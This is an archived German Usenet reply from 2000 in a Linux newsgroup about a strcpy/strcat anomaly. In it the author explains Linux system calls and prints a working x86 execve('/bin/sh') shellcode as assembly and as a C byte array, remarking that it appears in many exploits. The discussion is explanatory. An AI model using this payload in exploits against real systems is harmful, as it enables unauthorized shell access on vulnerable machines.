🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: ch.comp.os.linux
Article #18302

Re: strcpy/strcat Anomalie

#18302
From: Holger van Koll
Date: Sun, 26 Mar 2000 00:00
45 lines
1959 bytes
Peter Tellenbach schrieb in Nachricht <38DD3F38.390AA759@bluewin.ch>...
>Hmmmmmm, bist Du sicher, dass das funktioniert ?
Ja, absolut.

>
>Auf jeden Fall hast Du noch ziemlich viel zu tun um das COFF-
>File zu zerlegen, um den nackten Object-Code rauszuholen.

objdump --disassemble
Man muss halt statisch linken.

>
>Dann stellt sich die Frage, ob execve ein reiner System-Call ist
>und wie die System-Calls unter Linux in den Kernel springen ...
ja, nr. 11 siehe /usr/include/syscall.h . /usr/include/asm/unistd.h


Im wesentlichen sieht ein solcher Shellcode so aus:

jmp 0x2a
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x2f
.string \"/bin/sh\"
"); }

bzw. als array
char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff/bin/sh";

Dieses Array findet man in vielen Exploits.
Technical Details
Message-ID: <8bjh6r$pf0$1@bw107zhb.bluewin.ch>
Path: arc1-ca.pugleaf.net!unknown!not-for-mail
References: <38DA5C18.8317881@weltuntergang.ch> <8bgm0b$sr6$1@bw107zhb.bluewin.ch> <38DCA124.7370CABB@bluewin.ch> <8bisi6$j67$1@bw107zhb.bluewin.ch> <38DD3F38.390AA759@bluewin.ch>

Show Full Headers
Complete Article Headers
X-Google-Language: GERMAN,ASCII-7-bit
X-Google-Thread: f4b73,5512f1ce4457836d
X-Google-Attributes: gidf4b73,public
From: "Holger van Koll" <holger@vankoll.de>
Subject: Re: strcpy/strcat Anomalie
Date: 2000/03/26
Message-ID: <8bjh6r$pf0$1@bw107zhb.bluewin.ch>
X-Deja-AN: 602386564
References: <38DA5C18.8317881@weltuntergang.ch> <8bgm0b$sr6$1@bw107zhb.bluewin.ch> <38DCA124.7370CABB@bluewin.ch> <8bisi6$j67$1@bw107zhb.bluewin.ch> <38DD3F38.390AA759@bluewin.ch>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
X-Complaints-To: newsmaster@bluewin.ch
X-Trace: bw107zhb.bluewin.ch 954026011 26080 195.186.176.26 (25 Mar 2000 23:13:31 GMT)
Organization: Swisscom AG, the blue window
NNTP-Posting-Date: 25 Mar 2000 23:13:31 GMT
Newsgroups: ch.comp.os.linux